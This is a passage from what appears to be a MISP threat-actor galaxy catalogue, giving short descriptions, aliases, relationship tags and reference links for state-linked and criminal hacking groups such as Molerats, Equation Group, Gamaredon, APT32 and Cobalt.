https://unit42.paloaltonetworks.com/unit42-introducing-the-adversary-playbook-first-up-oilrig/
https://unit42.paloaltonetworks.com/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/
https://unit42.paloaltonetworks.com/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/
https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/
https://unit42.paloaltonetworks.com/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/
https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/
https://unit42.paloaltonetworks.com/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/
https://unit42.paloaltonetworks.com/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/
https://unit42.paloaltonetworks.com/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/
https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
https://pan-unit42.github.io/playbook_viewer/
https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html
https://www.gov.il/BlobFolder/reports/attack_il/he/CERT-IL-ALERT-W-120.pdf
https://www.forbes.com/sites/thomasbrewster/2017/02/15/oilrig-iran-hackers-cyberespionage-us-turkey-saudi-arabia/#56749aa2468a
https://raw.githubusercontent.com/pan-unit42/playbook_viewer/master/playbook_json/oilrig.json
https://www.cfr.org/interactive/cyber-operations/oilrig
https://www.cfr.org/interactive/cyber-operations/apt-34
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
https://web.archive.org/web/20120818235442/https://www.symantec.com/connect/blogs/shamoon-attacks

https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ad6f8259-2bb4-4f7f-b8e1-710b35a4cbed&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.clearskysec.com/oilrig/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/
https://attack.mitre.org/groups/G0049/
https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf
https://www.wired.com/story/apt-34-iranian-hackers-critical-infrastructure-companies/
https://unit42.paloaltonetworks.com/atoms/evasive-serpens/

Volatile Cedar

Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive .

The tag is: *misp-galaxy:threat-actor="Volatile Cedar"*

Volatile Cedar is also known as:

- Reuse team
- Malware reusers
- Dancing Salome
- Lebanese Cedar

Table 6820. Table References

Links
https://blog.checkpoint.com/2015/03/31/volatilecedar/
https://blog.checkpoint.com/2015/06/09/new-data-volatile-cedar/
https://securelist.com/sinkholing-volatile-cedar-dga-infrastructure/69421/
https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf

Malware reusers

Threat Group conducting cyber espionage while re-using tools from other teams; like those of Hacking Team, and vmprotect to obfuscate.

The tag is: *misp-galaxy:threat-actor="Malware reusers"*

Malware reusers is also known as:

- Reuse team
- Dancing Salome

TERBIUM

Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.

The tag is: *misp-galaxy:threat-actor="TERBIUM"*

View relationships graph

TERBIUM has relationships with:

- similar: misp-galaxy:microsoft-activity-group="TERBIUM" with estimative-language:likelihood-probability="likely"

Table 6821. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/09/windows-10-protection-detection-and-response-against-recent-attacks/

Molerats

In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks. Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well. and as discovered later, even the U.S. and UK governments. Further research revealed a connection between these attacks and members of the so-called “Gaza Hackers Team.” We refer to this campaign as “Molerats.”

The tag is: *misp-galaxy:threat-actor="Molerats"*

Molerats is also known as:

- Gaza Hackers Team
- Gaza cybergang
- Gaza Cybergang
- Operation Molerats
- Extreme Jackal

- Moonlight
- ALUMINUM SARATOGA
- G0021

View relationships graph

Molerats has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Molerats - G0021" with estimative-language:likelihood-probability="likely"

Table 6822. Table References

Links
https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html
https://ti.360.net/blog/articles/suspected-molerats-new-attack-in-the-middle-east/
https://ti.360.net/blog/articles/suspected-molerats-new-attack-in-the-middle-east-en/
https://middle-east-online.com/en/cyber-war-gaza-hackers-deface-israel-fire-service-website
https://www.fireeye.com/blog/threat-research/2014/06/molerats-here-for-spring.html
https://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html
https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks
https://securelist.com/gaza-cybergang-wheres-your-ir-team/72283/
https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf
https://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf
https://securelist.com/gaza-cybergang-updated-2017-activity/82765/
https://www.kaspersky.com/blog/gaza-cybergang/26363/
https://attack.mitre.org/groups/G0021/
https://www.secureworks.com/research/threat-profiles/aluminum-saratoga

PROMETHIUM

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

The tag is: *misp-galaxy:threat-actor="PROMETHIUM"*

PROMETHIUM is also known as:

- StrongPity
- G0055
- G0056

View relationships graph

PROMETHIUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="PROMETHIUM" with estimative-language:likelihood-probability="likely"

Table 6823. Table References

Links
https://www.microsoft.com/security/blog/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
https://www.virusbulletin.com/conference/vb2016/abstracts/last-minute-paper-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users
https://attack.mitre.org/groups/G0055/
https://attack.mitre.org/groups/G0056/

NEODYMIUM

NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.

The tag is: *misp-galaxy:threat-actor="NEODYMIUM"*

View relationships graph

NEODYMIUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="NEODYMIUM" with estimative-language:likelihood-probability="likely"

Table 6824. Table References

Links

https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/

Packrat

A threat group that has been active for at least seven years has used malware, phishing and disinformation tactics to target activists, journalists, politicians and public figures in various Latin American countries. The threat actor, dubbed Packrat based on its preference for remote access Trojans (RATs) and because it has used the same infrastructure for several years, has been analyzed by Citizen Lab researchers John Scott-Railton, Morgan Marquis-Boire, and Claudio Guarnieri, and Cyphort researcher Marion Marschalek, best known for her extensive analysis of state-sponsored threats.

The tag is: *misp-galaxy:threat-actor="Packrat"*

Table 6825. Table References

Links
https://citizenlab.ca/2015/12/packrat-report/

Cadelle

Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.

The tag is: *misp-galaxy:threat-actor="Cadelle"*

Table 6826. Table References

Links
https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets

PassCV

The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates. Snorre Fagerland of Blue Coat Systems first coined the term PassCV in a blog post. His post provides a good introduction to the group and covers some of the older infrastructure, stolen code-signing certificate reuse, and other connections associated with the PassCV malware. There are several clues alluding to the possibility that multiple groups may be utilizing the same stolen signing certificates, but at this time SPEAR believes the current attacks are more likely being perpetrated by a single group employing multiple publicly available Remote Administration Tools (RATs). The PassCV group has been operating with continued success and has already started to expand their malware repertoire into different off-the-shelf RATs and custom code. SPEAR identified eighteen previously undisclosed stolen Authenticode certificates. These certificates were originally issued to companies and individuals scattered across China, Taiwan, Korea, Europe, the United States and Russia. In this post we expand the usage of the term ‘PassCV’ to encompass the malware mentioned in the Blue Coat Systems report, as well as the APT group behind the larger C2 infrastructure and stolen Authenticode certificates. We’d like to share some of our findings as they pertain to the stolen certificates, command and control infrastructure, and some of the newer custom RATs they’ve begun development on.

The tag is: *misp-galaxy:threat-actor="PassCV"*

Table 6827. Table References

Links
https://threatvector.cylance.com/en_us/home/digitally-signed-malware-targeting-gaming-companies.html

Sath-ı Müdafaa

A Turkish hacking group, Sath-ı Müdafaa, is encouraging individuals to join its DDoS-for-Points platform that features points and prizes for carrying out distributed denial-of-service (DDoS) attacks against a list of predetermined targets. Their DDoS tool also contains a backdoor to hack the hackers. So the overarching motivation and allegiance of the group is not entirely clear.

The tag is: *misp-galaxy:threat-actor="Sath-ı Müdafaa"*

Aslan Neferler Tim

Turkish nationalist hacktivist group that has been active for roughly one year. According to Domaintools, the group’s site has been registered since December 2015, with an active Twitter account since January 2016. The group carries out distributed denial-of-service (DDoS) attacks and defacements against the sites of news organizations and governments perceived to be critical of Turkey’s policies or leadership, and purports to act in defense of Islam

The tag is: *misp-galaxy:threat-actor="Aslan Neferler Tim"*

Aslan Neferler Tim is also known as:

- Lion Soldiers Team
- Phantom Turk

Ayyıldız Tim

Ayyıldız (Crescent and Star) Tim is a nationalist hacking group founded in 2002. It performs defacements and DDoS attacks against the websites of governments that it considers to be repressing Muslim minorities or engaged in Islamophobic policies.

The tag is: *misp-galaxy:threat-actor="Ayyıldız Tim"*

Ayyıldız Tim is also known as:

- Crescent and Star

TurkHackTeam

Founded in 2004, Turkhackteam is one of Turkey’s oldest and most high-profile hacking collectives. According to a list compiled on Turkhackteam’s forum, the group has carried out almost 30 highly publicized hacking campaigns targeting foreign government and commercial websites, including websites of international corporations.

The tag is: *misp-galaxy:threat-actor="TurkHackTeam"*

TurkHackTeam is also known as:

- Turk Hack Team

Equation Group

The Equation Group is a highly sophisticated threat actor described by its discoverers at Kaspersky Labs as one of the most sophisticated cyber attack groups in the world, operating alongside but always from a position of superiority with the creators of Stuxnet and Flame

The tag is: *misp-galaxy:threat-actor="Equation Group"*

Equation Group is also known as:

- Tilded Team
- Lamberts
- EQGRP
- Longhorn
- PLATINUM TERMINAL
- G0020

View relationships graph

Equation Group has relationships with:

- similar: misp-galaxy:threat-actor="Longhorn" with estimative-language:likelihood-probability="likely"

Table 6828. Table References

Links
https://en.wikipedia.org/wiki/Equation_Group
https://www.cfr.org/interactive/cyber-operations/equation-group

https://arstechnica.com/information-technology/2015/02/how-omnipotent-hackers-tied-to-the-nsa-hid-for-14-years-and-were-found-at-last/
https://www.dropbox.com/s/buxkfotx1kei0ce/Whitepaper%20Shadow%20Broker%20-%20Equation%20Group%20Hack.pdf?dl=0
https://en.wikipedia.org/wiki/Stuxnet
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf
https://attack.mitre.org/groups/G0020/
https://www.secureworks.com/research/threat-profiles/platinum-terminal

Greenbug

Greenbug was discovered targeting a range of organizations in the Middle East including companies in the aviation, energy, government, investment, and education sectors.

The tag is: *misp-galaxy:threat-actor="Greenbug"*

View relationships graph

Greenbug has relationships with:

- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"

Table 6829. Table References

Links
https://web.archive.org/web/20190331181353/https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon
https://unit42.paloaltonetworks.com/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/
https://threatpost.com/shamoon-collaborator-greenbug-adopts-new-communication-tool/125383/
https://www.clearskysec.com/greenbug/

Gamaredon Group

Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013. In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities.

The tag is: *misp-galaxy:threat-actor="Gamaredon Group"*

Gamaredon Group is also known as:

- ACTINIUM
- DEV-0157
- Blue Otso
- BlueAlpha
- G0047
- IRON TILDEN
- PRIMITIVE BEAR
- Shuckworm
- Trident Ursa
- UAC-0010
- Winterflounder

View relationships graph

Gamaredon Group has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Gamaredon Group - G0047" with estimative-language:likelihood-probability="likely"

Table 6830. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution
https://www.lookingglasscyber.com/wp-content/uploads/2015/08/Operation_Armageddon_Final.pdf
https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution
https://attack.mitre.org/groups/G0047
https://github.com/StrangerealIntel/CyberThreatIntel/tree/master/Russia/APT/Gamaredon
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations
https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game
https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021
https://go.recordedfuture.com/hubfs/reports/cta-2019-1212.pdf
https://unit42.paloaltonetworks.com/atoms/tridentursa
https://cert.gov.ua/article/1229152

https://cert.gov.ua/article/971405
https://cert.gov.ua/article/40240
https://cert.gov.ua/article/39386
https://cert.gov.ua/article/39086
https://cert.gov.ua/article/39138
https://cert.gov.ua/article/18365

Infy

Infy is a group of suspected Iranian origin. Since early 2013, we have observed activity from a unique threat actor group, which we began to investigate based on increased activities against human right activists in the beginning of 2015. In line5with other research on the campaign, released prior to publication of this document, we have adopted the name “Infy”, which is based on labels used in the infrastructure and its two families of malware agents. Thanks to information we have been able to collect during the course of our research, such as characteristics of the group’s malware and development cycle, our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state. Amongst a backdrop of other incidents, Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014, growing in use up to the February 2016 parliamentary election in Iran. After the conclusion of the parliamentary election, the rate of attempted intrusions and new compromises through the Infy agent slowed, but did not end. The trends witnessed in reports from recipients are reinforced through telemetry provided by design failures in more recent versions of the Infy malware.

The tag is: *misp-galaxy:threat-actor="Infy"*

Infy is also known as:

- Operation Mermaid
- Prince of Persia
- Foudre

Table 6831. Table References

Links
https://www.intezer.com/prince-of-persia-the-sands-of-foudre/
https://www.freebuf.com/articles/network/105726.html
https://www.blackhat.com/docs/us-16/materials/us-16-Guarnieri-Iran-And-The-Soft-War-For-Internet-Dominance-wp.pdf
https://iranthreats.github.io/
http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/

https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/
https://www.cfr.org/interactive/cyber-operations/prince-persia
https://unit42.paloaltonetworks.com/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
https://unit42.paloaltonetworks.com/unit42-prince-persia-ride-lightning-infy-returns-foudre/

Sima

Sima is a group of suspected Iranian origin targeting Iranians in diaspora. In February 2016, Iran-focused individuals received messages purporting to be from Human RightsWatch's (HRW) Emergencies Director, requesting that they read an article about Iran pressing Afghanr efugees to fight in Syria. While referencing a real report published by HRW, the links provided for the Director's biography and article directed the recipient to malware hosted elsewhere. These spear-phishing attempts represent an evolution of Iranian actors based on their social engineering tactics and narrow targeting. Although the messages still had minor grammatical and stylistic errors that would be obvious to a native speaker, the actors demonstrated stronger English-language proficiency than past intrusion sets and a deeper investment in background research prior to the attempt. The actors appropriated a real identity that would be expected to professionally interact with the subject, then offered validation through links to their biography and social media, the former of which itself was malware as well. The bait documents contained a real article relevant to their interests and topic referenced, and the message attempted to address to how it aligned with their professional research or field of employment. The referenced documents sent were malware binaries posing as legitimate files using the common right-to-left filenames tactic in order to conceal the actual file extension. All of these techniques, while common pretexting mechanisms, are a refinement compared to a tendency amongst other groups to simply continually send different forms of generic malware or phishing, in the hopes that one would eventually be successful.

The tag is: *misp-galaxy:threat-actor="Sima"*

Table 6832. Table References

Links
https://www.blackhat.com/docs/us-16/materials/us-16-Guarnieri-Iran-And-The-Soft-War-For-Internet-Dominance-wp.pdf
https://iranthreats.github.io/

Blue Termite

Blue Termite is a group of suspected Chinese origin active in Japan.

The tag is: *misp-galaxy:threat-actor="Blue Termite"*

Blue Termite is also known as:

- Cloudy Omega
- Emdivi

Table 6833. Table References

Links
https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/
https://www.cfr.org/interactive/cyber-operations/blue-termite

Groundbait

Groundbait is a group targeting anti-government separatists in the self-declared Donetsk and Luhansk People’s Republics.

The tag is: *misp-galaxy:threat-actor="Groundbait"*

Table 6834. Table References

Links
http://www.welivesecurity.com/2016/05/18/groundbait

Longhorn

Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the organizations targeted would be of interest to a nation-state attacker. Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally. According to cfr, this threat actor compromises governments, international organizations, academic institutions, and financial, telecommunications, energy, aerospace, information technology, and natural resource industries for espionage purposes. Some of the tools used by this threat actor were released by Wikileaks under the name "Vault 7."

The tag is: *misp-galaxy:threat-actor="Longhorn"*

Longhorn is also known as:

- Lamberts
- the Lamberts
- APT-C-39

View relationships graph

Longhorn has relationships with:

- similar: misp-galaxy:threat-actor="Equation Group" with estimative-language:likelihood-probability="likely"

Table 6835. Table References

Links
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.bleepingcomputer.com/news/security/longhorn-cyber-espionage-group-is-actually-the-cia/
https://www.cfr.org/interactive/cyber-operations/longhorn
http://blogs.360.cn/post/APT-C-39_CIA_EN.html

Callisto

The Callisto Group is an advanced threat actor whose known targets include military personnel, government officials, think tanks, and journalists in Europe and the South Caucasus. Their primary interest appears to be gathering intelligence related to foreign and security policy in the Eastern Europe and South Caucasus regions.

The tag is: *misp-galaxy:threat-actor="Callisto"*

Callisto is also known as:

- COLDRIVER
- SEABORGIUM
- TA446

Table 6836. Table References

Links
https://www.f-secure.com/documents/996508/1030745/callisto-group
https://blog.google/threat-analysis-group/tracking-cyber-activity-eastern-europe
https://blog.google/threat-analysis-group/update-on-cyber-activity-in-eastern-europe
https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag
https://www.microsoft.com/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations
https://blog.sekoia.io/calisto-continues-its-credential-harvesting-campaign

APT32

Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into private sector companies across multiple industries and have also targeted foreign governments, dissidents, and journalists. FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests.

The tag is: *misp-galaxy:threat-actor="APT32"*

APT32 is also known as:

- OceanLotus Group
- Ocean Lotus
- OceanLotus
- Cobalt Kitty
- APT-C-00
- SeaLotus
- Sea Lotus
- APT-32
- APT 32
- Ocean Buffalo
- POND LOACH
- TIN WOODLAWN
- BISMUTH
- ATK17
- G0050

View relationships graph

APT32 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT32 - G0050" with estimative-language:likelihood-probability="likely"

Table 6837. Table References

Links
https://attack.mitre.org/groups/G0050/
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/
https://www.scmagazineuk.com/ocean-lotus-groupapt-32-identified-as-vietnamese-apt-group/article/663565/
https://www.brighttalk.com/webcast/10703/261205

https://github.com/eset/malware-research/tree/master/oceanlotus
https://www.cfr.org/interactive/cyber-operations/ocean-lotus
https://www.accenture.com/us-en/blogs/blogs-pond-loach-delivers-badcake-malware
https://www.secureworks.com/research/threat-profiles/tin-woodlawn
https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/
https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html
https://www.microsoft.com/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them
https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam

SilverTerrier

As these tools rise and fall in popularity (and more importantly, as detection rates by antivirus vendors improve), SilverTerrier actors have consistently adopted new malware families and shifted to the latest packing tools available.

The tag is: *misp-galaxy:threat-actor="SilverTerrier"*

Table 6838. Table References

Links
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/silverterrier-next-evolution-in-nigerian-cybercrime.pdf

WildNeutron

A corporate espionage group has compromised a string of major corporations over the past three years in order to steal confidential information and intellectual property. The gang, which Symantec calls Butterfly, is not-state sponsored, rather financially motivated. It has attacked multi-billion dollar companies operating in the internet, IT software, pharmaceutical, and commodities sectors. Twitter, Facebook, Apple, and Microsoft are among the companies who have publicly acknowledged attacks. Butterfly is technically proficient and well resourced. The group has developed a suite of custom malware tools capable of attacking both Windows and Apple computers, and appears to have used at least one zero-day vulnerability in its attacks. It keeps a low profile and maintains good operational security. After successfully compromising a target organization, it cleans up after itself before moving on to its next target. This group operates at a much higher level than the average cybercrime gang. It is not interested in stealing credit card details or customer databases and is instead focused on high-level corporate information. Butterfly may be selling this information to the highest bidder or may be operating as hackers for hire. Stolen information could also be used for insider-trading purposes.

The tag is: *misp-galaxy:threat-actor="WildNeutron"*

WildNeutron is also known as:

- Butterfly
- Morpho
- Sphinx Moth

Table 6839. Table References

Links
https://www.symantec.com/connect/blogs/butterfly-profiting-high-level-corporate-attacks
https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/
https://research.kudelskisecurity.com/2015/11/05/sphinx-moth-expanding-our-knowledge-of-the-wild-neutron-morpho-apt/
https://blog.twitter.com/official/en_us/a/2013/keeping-our-users-secure.html
https://www.facebook.com/notes/facebook-security/protecting-people-on-facebook/10151249208250766
https://www.reuters.com/article/us-apple-hackers/exclusive-apple-macs-hit-by-hackers-who-targeted-facebook-idUSBRE91I10920130219
https://blogs.technet.microsoft.com/msrc/2013/02/22/recent-cyberattacks/

PLATINUM

PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group's persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.

The tag is: *misp-galaxy:threat-actor="PLATINUM"*

PLATINUM is also known as:

- TwoForOne
- G0068
- ATK33

View relationships graph

PLATINUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="PLATINUM - G0068" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="PLATINUM" with estimative-language:likelihood-probability="likely"

Table 6840. Table References

Links
http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf
https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/
https://attack.mitre.org/groups/G0068/

RASPITE

Dragos has identified a new activity group targeting access operations in the electric utility sector. We call this activity group RASPITE. Analysis of RASPITE tactics, techniques, and procedures (TTPs) indicate the group has been active in some form since early- to mid-2017. RASPITE targeting includes entities in the US, Middle East, Europe, and East Asia. Operations against electric utility organizations appear limited to the US at this time. RASPITE leverages strategic website compromise to gain initial access to target networks. RASPITE uses the same methodology as DYMALLOY and ALLANITE in embedding a link to a resource to prompt an SMB connection, from which it harvests Windows credentials. The group then deploys install scripts for a malicious service to beacon back to RASPITE-controlled infrastructure, allowing the adversary to remotely access the victim machine.

The tag is: *misp-galaxy:threat-actor="RASPITE"*

RASPITE is also known as:

- LeafMiner
- Raspite

Table 6841. Table References

Links
https://dragos.com/blog/20180802Raspite.html
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east
https://attack.mitre.org/groups/G0077/

FIN8

FIN8 is a financially motivated group targeting the retail, hospitality and entertainment industries.

The actor had previously conducted several tailored spearphishing campaigns using the downloader PUNCHBUGGY and POS malware PUNCHTRACK.

The tag is: *misp-galaxy:threat-actor="FIN8"*

FIN8 is also known as:

- ATK113
- G0061

View relationships graph

FIN8 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="FIN8 - G0061" with estimative-language:likelihood-probability="likely"

Table 6842. Table References

Links
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html
https://www.root9b.com/sites/default/files/whitepapers/PoS%20Malware%20ShellTea%20PoSlurp.pdf
https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf
https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
https://attack.mitre.org/groups/G0061

El Machete

El Machete is one of these threats that was first publicly disclosed and named by Kaspersky here. We’ve found that this group has continued to operate successfully, predominantly in Latin America, since 2014. All attackers simply moved to new C2 infrastructure, based largely around dynamic DNS domains, in addition to making minimal changes to the malware in order to evade signature-based detection.

The tag is: *misp-galaxy:threat-actor="El Machete"*

El Machete is also known as:

- Machete
- machete-apt
- APT-C-43
- G0095

Table 6843. Table References

Links
https://attack.mitre.org/groups/G0095/
https://securelist.com/el-machete/66108/
https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html
https://www.cfr.org/interactive/cyber-operations/machete
https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html
https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/

Cobalt

A criminal group dubbed Cobalt is behind synchronized ATM heists that saw machines across Europe, CIS countries (including Russia), and Malaysia being raided simultaneously, in the span of a few hours. The group has been active since June 2016, and their latest attacks happened in July and August.

The tag is: *misp-galaxy:threat-actor="Cobalt"*

Cobalt is also known as:

- Cobalt Group
- Cobalt Gang
- GOLD KINGSWOOD
- COBALT SPIDER
- G0080
- Mule Libra

Table 6844. Table References

Links
https://www.helpnetsecurity.com/2016/11/22/cobalt-hackers-synchronized-atm-heists/
https://www.bleepingcomputer.com/news/security/cobalt-hacking-group-tests-banks-in-russia-and-romania/
https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-september-cobalt-spider/
https://www.group-ib.com/blog/cobalt
https://www.reuters.com/article/us-taiwan-cyber-atms/taiwan-atm-heist-linked-to-european-hacking-spree-security-firm-idUSKBN14P0CX

https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target
https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/
